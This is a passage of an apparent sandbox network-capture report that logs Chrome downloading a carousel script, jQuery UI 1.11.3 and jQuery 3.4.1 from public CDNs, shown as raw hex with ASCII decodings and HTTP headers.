2024-10-06 11:20:55 UTC	12148	IN	Data Raw: 30 30 30 30 32 46 36 38 0d 0a 20 66 75 6e 63 74 69 6f 6e 20 6d 61 79 20 62 65 20 28 74 6f 74 61 6c 6c 79 20 69 73 29 20 64 69 66 66 65 72 65 6e 74 20 69 6e 20 72 65 73 70 6f 6e 73 69 76 65 20 6d 6f 64 65 0d 0a 43 47 65 6e 65 72 69 63 43 61 72 6f 75 73 65 6c 2e 70 72 6f 74 6f 74 79 70 65 2e 52 65 73 70 6f 6e 73 69 76 65 41 64 76 61 6e 63 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 6e 4e 65 77 49 6e 64 65 78 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 24 65 6c 54 61 72 67 65 74 20 3d 20 74 68 69 73 2e 24 65 6c 49 74 65 6d 73 2e 70 61 72 65 6e 74 28 29 3b 0d 0a 09 76 61 72 20 6e 4d 61 78 53 63 72 6f 6c 6c 20 3d 20 74 68 69 73 2e 24 65 6c 49 74 65 6d 73 2e 6f 75 74 65 72 57 69 64 74 68 28 20 74 72 75 65 20 29 20 2a 20 74 68 69 73 2e 6e 49 74 65 6d 73 20 2d 20 24 65 6c Data Ascii: 00002F68 function may be (totally is) different in responsive modeCGenericCarousel.prototype.ResponsiveAdvance = function( nNewIndex ){var $elTarget = this.$elItems.parent();var nMaxScroll = this.$elItems.outerWidth( true ) * this.nItems - $el
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49736	151.101.194.137	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:54 UTC	361	OUT	GET /ui/1.11.3/jquery-ui.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:54 UTC	615	IN	HTTP/1.1 200 OK Connection: close Content-Length: 469790 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-72b1e" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2611168 Date: Sun, 06 Oct 2024 11:20:54 GMT X-Served-By: cache-lga21958-LGA, cache-nyc-kteb1890029-NYC X-Cache: HIT, HIT X-Cache-Hits: 23044, 0 X-Timer: S1728213655.764674,VS0,VE1 Vary: Accept-Encoding
2024-10-06 11:20:54 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 31 2e 33 20 2d 20 32 30 31 35 2d 30 32 2d 31 32 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 63 6f 72 65 2e 6a 73 2c 20 77 69 64 67 65 74 2e 6a 73 2c 20 6d 6f 75 73 65 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 61 63 63 6f 72 64 69 6f 6e 2e 6a 73 2c 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2e 6a 73 2c 20 62 75 74 74 6f 6e 2e 6a 73 2c 20 64 61 74 65 70 69 63 6b 65 72 2e 6a 73 2c 20 64 69 61 6c 6f 67 2e 6a 73 2c 20 64 72 61 67 67 61 62 6c 65 2e 6a 73 2c 20 64 72 6f 70 70 61 62 6c 65 2e 6a 73 2c 20 65 66 66 65 63 74 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6c 69 6e 64 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6f 75 6e 63 65 2e 6a 73 2c Data Ascii: /! jQuery UI - v1.11.3 - 2015-02-12 http://jqueryui.com* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js,
2024-10-06 11:20:54 UTC	1378	IN	Data Raw: 37 2c 0a 09 09 48 4f 4d 45 3a 20 33 36 2c 0a 09 09 4c 45 46 54 3a 20 33 37 2c 0a 09 09 50 41 47 45 5f 44 4f 57 4e 3a 20 33 34 2c 0a 09 09 50 41 47 45 5f 55 50 3a 20 33 33 2c 0a 09 09 50 45 52 49 4f 44 3a 20 31 39 30 2c 0a 09 09 52 49 47 48 54 3a 20 33 39 2c 0a 09 09 53 50 41 43 45 3a 20 33 32 2c 0a 09 09 54 41 42 3a 20 39 2c 0a 09 09 55 50 3a 20 33 38 0a 09 7d 0a 7d 29 3b 0a 0a 2f 2f 20 70 6c 75 67 69 6e 73 0a 24 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 0a 09 73 63 72 6f 6c 6c 50 61 72 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 63 6c 75 64 65 48 69 64 64 65 6e 20 29 20 7b 0a 09 09 76 61 72 20 70 6f 73 69 74 69 6f 6e 20 3d 20 74 68 69 73 2e 63 73 73 28 20 22 70 6f 73 69 74 69 6f 6e 22 20 29 2c 0a 09 09 09 65 78 63 6c 75 64 65 53 74 61 74 69 63 50 61 72 Data Ascii: 7,HOME: 36,LEFT: 37,PAGE_DOWN: 34,PAGE_UP: 33,PERIOD: 190,RIGHT: 39,SPACE: 32,TAB: 9,UP: 38}});// plugins$.fn.extend({scrollParent: function( includeHidden ) {var position = this.css( "position" ),excludeStaticPar
2024-10-06 11:20:54 UTC	1378	IN	Data Raw: 65 20 7c 7c 20 6d 61 70 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 21 3d 3d 20 22 6d 61 70 22 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 7d 0a 09 09 69 6d 67 20 3d 20 24 28 20 22 69 6d 67 5b 75 73 65 6d 61 70 3d 27 23 22 20 2b 20 6d 61 70 4e 61 6d 65 20 2b 20 22 27 5d 22 20 29 5b 20 30 20 5d 3b 0a 09 09 72 65 74 75 72 6e 20 21 21 69 6d 67 20 26 26 20 76 69 73 69 62 6c 65 28 20 69 6d 67 20 29 3b 0a 09 7d 0a 09 72 65 74 75 72 6e 20 28 20 2f 5e 28 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 7c 6f 62 6a 65 63 74 29 24 2f 2e 74 65 73 74 28 20 6e 6f 64 65 4e 61 6d 65 20 29 20 3f 0a 09 09 21 65 6c 65 6d 65 6e 74 2e 64 69 73 61 62 6c 65 64 20 3a 0a 09 09 22 61 22 20 Data Ascii: e \|\| map.nodeName.toLowerCase() !== "map" ) {return false;}img = $( "img[usemap='#" + mapName + "']" )[ 0 ];return !!img && visible( img );}return ( /^(input\|select\|textarea\|button\|object)$/.test( nodeName ) ?!element.disabled :"a"
2024-10-06 11:20:54 UTC	1378	IN	Data Raw: 22 4c 65 66 74 22 2c 20 22 52 69 67 68 74 22 20 5d 20 3a 20 5b 20 22 54 6f 70 22 2c 20 22 42 6f 74 74 6f 6d 22 20 5d 2c 0a 09 09 09 74 79 70 65 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 0a 09 09 09 6f 72 69 67 20 3d 20 7b 0a 09 09 09 09 69 6e 6e 65 72 57 69 64 74 68 3a 20 24 2e 66 6e 2e 69 6e 6e 65 72 57 69 64 74 68 2c 0a 09 09 09 09 69 6e 6e 65 72 48 65 69 67 68 74 3a 20 24 2e 66 6e 2e 69 6e 6e 65 72 48 65 69 67 68 74 2c 0a 09 09 09 09 6f 75 74 65 72 57 69 64 74 68 3a 20 24 2e 66 6e 2e 6f 75 74 65 72 57 69 64 74 68 2c 0a 09 09 09 09 6f 75 74 65 72 48 65 69 67 68 74 3a 20 24 2e 66 6e 2e 6f 75 74 65 72 48 65 69 67 68 74 0a 09 09 09 7d 3b 0a 0a 09 09 66 75 6e 63 74 69 6f 6e 20 72 65 64 75 63 65 28 20 65 6c 65 6d 2c 20 73 69 7a 65 2c Data Ascii: "Left", "Right" ] : [ "Top", "Bottom" ],type = name.toLowerCase(),orig = {innerWidth: $.fn.innerWidth,innerHeight: $.fn.innerHeight,outerWidth: $.fn.outerWidth,outerHeight: $.fn.outerHeight};function reduce( elem, size,
2024-10-06 11:20:54 UTC	1378	IN	Data Raw: 62 22 2c 20 22 61 22 20 29 2e 72 65 6d 6f 76 65 44 61 74 61 28 20 22 61 2d 62 22 20 29 2e 64 61 74 61 28 20 22 61 2d 62 22 20 29 20 29 20 7b 0a 09 24 2e 66 6e 2e 72 65 6d 6f 76 65 44 61 74 61 20 3d 20 28 66 75 6e 63 74 69 6f 6e 28 20 72 65 6d 6f 76 65 44 61 74 61 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 20 6b 65 79 20 29 20 7b 0a 09 09 09 69 66 20 28 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 72 65 6d 6f 76 65 44 61 74 61 2e 63 61 6c 6c 28 20 74 68 69 73 2c 20 24 2e 63 61 6d 65 6c 43 61 73 65 28 20 6b 65 79 20 29 20 29 3b 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 72 65 6d 6f 76 65 44 61 74 61 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 Data Ascii: b", "a" ).removeData( "a-b" ).data( "a-b" ) ) {$.fn.removeData = (function( removeData ) {return function( key ) {if ( arguments.length ) {return removeData.call( this, $.camelCase( key ) );} else {return removeData.call( this );
2024-10-06 11:20:54 UTC	1378	IN	Data Raw: 20 77 68 65 72 65 20 7a 2d 69 6e 64 65 78 20 69 73 20 69 67 6e 6f 72 65 64 20 62 79 20 74 68 65 20 62 72 6f 77 73 65 72 0a 09 09 09 09 2f 2f 20 54 68 69 73 20 6d 61 6b 65 73 20 62 65 68 61 76 69 6f 72 20 6f 66 20 74 68 69 73 20 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 73 69 73 74 65 6e 74 20 61 63 72 6f 73 73 20 62 72 6f 77 73 65 72 73 0a 09 09 09 09 2f 2f 20 57 65 62 4b 69 74 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 61 75 74 6f 20 69 66 20 74 68 65 20 65 6c 65 6d 65 6e 74 20 69 73 20 70 6f 73 69 74 69 6f 6e 65 64 0a 09 09 09 09 70 6f 73 69 74 69 6f 6e 20 3d 20 65 6c 65 6d 2e 63 73 73 28 20 22 70 6f 73 69 74 69 6f 6e 22 20 29 3b 0a 09 09 09 09 69 66 20 28 20 70 6f 73 69 74 69 6f 6e 20 3d 3d 3d 20 22 61 62 73 6f 6c 75 74 65 22 20 7c 7c 20 70 6f 73 69 74 Data Ascii: where z-index is ignored by the browser// This makes behavior of this function consistent across browsers// WebKit always returns auto if the element is positionedposition = elem.css( "position" );if ( position === "absolute" \|\| posit
2024-10-06 11:20:54 UTC	1378	IN	Data Raw: 20 29 20 7b 0a 09 09 09 09 73 65 74 5b 20 69 20 5d 5b 20 31 20 5d 2e 61 70 70 6c 79 28 20 69 6e 73 74 61 6e 63 65 2e 65 6c 65 6d 65 6e 74 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 7d 3b 0a 0a 0a 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 55 49 20 57 69 64 67 65 74 20 31 2e 31 31 2e 33 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 68 Data Ascii: ) {set[ i ][ 1 ].apply( instance.element, args );}}}};/! jQuery UI Widget 1.11.3 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * h
2024-10-06 11:20:54 UTC	1378	IN	Data Raw: 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 20 7c 7c 20 7b 7d 3b 0a 09 65 78 69 73 74 69 6e 67 43 6f 6e 73 74 72 75 63 74 6f 72 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 5b 20 6e 61 6d 65 20 5d 3b 0a 09 63 6f 6e 73 74 72 75 63 74 6f 72 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 5b 20 6e 61 6d 65 20 5d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 6f 70 74 69 6f 6e 73 2c 20 65 6c 65 6d 65 6e 74 20 29 20 7b 0a 09 09 2f 2f 20 61 6c 6c 6f 77 20 69 6e 73 74 61 6e 74 69 61 74 69 6f 6e 20 77 69 74 68 6f 75 74 20 22 6e 65 77 22 20 6b 65 79 77 6f 72 64 0a 09 09 69 66 20 28 20 21 74 68 69 73 2e 5f 63 72 65 61 74 65 57 69 64 67 65 74 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 6e 65 77 20 63 6f 6e 73 74 72 Data Ascii: $[ namespace ] = $[ namespace ] \|\| {};existingConstructor = $[ namespace ][ name ];constructor = $[ namespace ][ name ] = function( options, element ) {// allow instantiation without "new" keywordif ( !this._createWidget ) {return new constr
2024-10-06 11:20:54 UTC	1378	IN	Data Raw: 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 5f 73 75 70 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 62 61 73 65 2e 70 72 6f 74 6f 74 79 70 65 5b 20 70 72 6f 70 20 5d 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 20 29 3b 0a 09 09 09 09 7d 2c 0a 09 09 09 09 5f 73 75 70 65 72 41 70 70 6c 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 61 72 67 73 20 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 62 61 73 65 2e 70 72 6f 74 6f 74 79 70 65 5b 20 70 72 6f 70 20 5d 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 09 7d 3b 0a 09 09 09 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 76 61 72 20 5f 5f 73 75 70 65 72 20 3d 20 74 68 69 73 2e 5f 73 75 70 65 72 Data Ascii: n() {var _super = function() {return base.prototype[ prop ].apply( this, arguments );},_superApply = function( args ) {return base.prototype[ prop ].apply( this, args );};return function() {var __super = this._super
2024-10-06 11:20:54 UTC	1378	IN	Data Raw: 20 63 68 69 6c 64 2e 70 72 6f 74 6f 74 79 70 65 3b 0a 0a 09 09 09 2f 2f 20 72 65 64 65 66 69 6e 65 20 74 68 65 20 63 68 69 6c 64 20 77 69 64 67 65 74 20 75 73 69 6e 67 20 74 68 65 20 73 61 6d 65 20 70 72 6f 74 6f 74 79 70 65 20 74 68 61 74 20 77 61 73 0a 09 09 09 2f 2f 20 6f 72 69 67 69 6e 61 6c 6c 79 20 75 73 65 64 2c 20 62 75 74 20 69 6e 68 65 72 69 74 20 66 72 6f 6d 20 74 68 65 20 6e 65 77 20 76 65 72 73 69 6f 6e 20 6f 66 20 74 68 65 20 62 61 73 65 0a 09 09 09 24 2e 77 69 64 67 65 74 28 20 63 68 69 6c 64 50 72 6f 74 6f 74 79 70 65 2e 6e 61 6d 65 73 70 61 63 65 20 2b 20 22 2e 22 20 2b 20 63 68 69 6c 64 50 72 6f 74 6f 74 79 70 65 2e 77 69 64 67 65 74 4e 61 6d 65 2c 20 63 6f 6e 73 74 72 75 63 74 6f 72 2c 20 63 68 69 6c 64 2e 5f 70 72 6f 74 6f 20 29 3b 0a Data Ascii: child.prototype;// redefine the child widget using the same prototype that was// originally used, but inherit from the new version of the base$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto );

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49735	104.17.25.14	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:54 UTC	380	OUT	GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:54 UTC	925	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:54 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-15851" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 250837 Expires: Fri, 26 Sep 2025 11:20:54 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GuWWZ4eMf2yHayWAeqJPAdFV3o8BoFYCUpQ8Ga%2ByGHqPmcEbMLN0HPfmfCvfuhubbDrMg2lAZHDHJJaxUdUQBbxEVYntYE5BdrOlqrHkAewMNisZBFvrHkhPPXW7AvolNSSMgjeb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ce543ce7a6432ee-EWR
2024-10-06 11:20:54 UTC	444	IN	Data Raw: 33 39 37 37 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 3977/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-10-06 11:20:54 UTC	1369	IN	Data Raw: 6e 63 61 74 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 65 3d 3d 3d 65 2e 77 69 6e 64 6f 77 7d 2c 63 3d 7b 74 79 70 65 3a 21 30 2c 73 72 63 3a 21 30 2c 6e 6f 6e 63 65 3a 21 30 2c 6e 6f 4d 6f 64 75 6c 65 3a 21 30 7d 3b 66 75 Data Ascii: ncat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};fu
2024-10-06 11:20:54 UTC	1369	IN	Data Raw: 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 75 2c 73 6f 72 74 3a 74 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 74 2e 73 70 6c 69 63 65 7d 2c 6b 2e 65 78 74 65 6e 64 3d 6b 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6c 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 28 6c 3d 61 2c 61 3d 61 72 67 Data Ascii: tack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},k.extend=k.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arg
2024-10-06 11:20:54 UTC	1369	IN	Data Raw: 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 69 2c 65 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 65 2e 6c 65 6e 67 74 68 2c 61 3d 21 6e 3b 69 3c 6f 3b 69 2b 2b 29 21 74 28 65 5b 69 5d 2c 69 29 21 3d 3d 61 26 26 72 2e 70 75 73 68 28 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 30 2c 61 3d 5b 5d 3b 69 66 28 64 28 65 29 29 66 6f 72 28 72 3d 65 2e 6c 65 6e 67 Data Ascii: ,merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(d(e))for(r=e.leng
2024-10-06 11:20:54 UTC	1369	IN	Data Raw: 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 2c 22 2b 4d 2b 22 2a 22 29 2c 7a 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 28 5b 3e 2b 7e 5d 7c 22 2b 4d 2b 22 29 22 2b 4d 2b 22 2a 22 29 2c 55 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 7c 3e 22 29 2c 58 3d 6e 65 77 20 52 65 67 45 78 70 28 24 29 2c 56 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 49 2b 22 24 22 29 2c 47 3d 7b 49 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 23 28 22 2b 49 2b 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 49 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 Data Ascii: "+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=new RegExp("^"+M+","+M+""),z=new RegExp("^"+M+"([>+~]\|"+M+")"+M+"*"),U=new RegExp(M+"\|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegE
2024-10-06 11:20:54 UTC	1369	IN	Data Raw: 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 61 6c 6c 28 74 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 6c 65 6e 67 74 68 2c 72 3d 30 3b 77 68 69 6c 65 28 65 5b 6e 2b 2b 5d 3d 74 5b 72 2b 2b 5d 29 3b 65 2e 6c 65 6e 67 74 68 3d 6e 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 65 28 74 2c 65 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 2c 66 3d 65 26 26 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 70 3d 65 3f 65 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 6e 3d 6e 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 7c 7c 21 74 7c 7c 31 21 3d 3d 70 26 26 39 21 3d 3d 70 26 26 31 31 21 3d 3d 70 29 72 65 74 75 72 6e Data Ascii: y:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n\|\|[],"string"!=typeof t\|\|!t\|\|1!==p&&9!==p&&11!==p)return
2024-10-06 11:20:54 UTC	1369	IN	Data Raw: 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 7c 22 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 72 2d 2d 29 62 2e 61 74 74 72 48 61 6e 64 6c 65 5b 6e 5b 72 5d 5d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 70 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 26 26 65 2c 72 3d 6e 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 26 26 65 2e 73 6f 75 72 63 65 49 6e 64 65 78 2d 74 2e 73 6f 75 72 63 65 49 6e 64 65 78 3b 69 66 28 72 29 72 65 74 75 72 6e 20 72 3b 69 66 28 6e 29 77 68 69 6c 65 28 6e 3d 6e 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 6e 3d 3d 3d 74 29 72 65 74 75 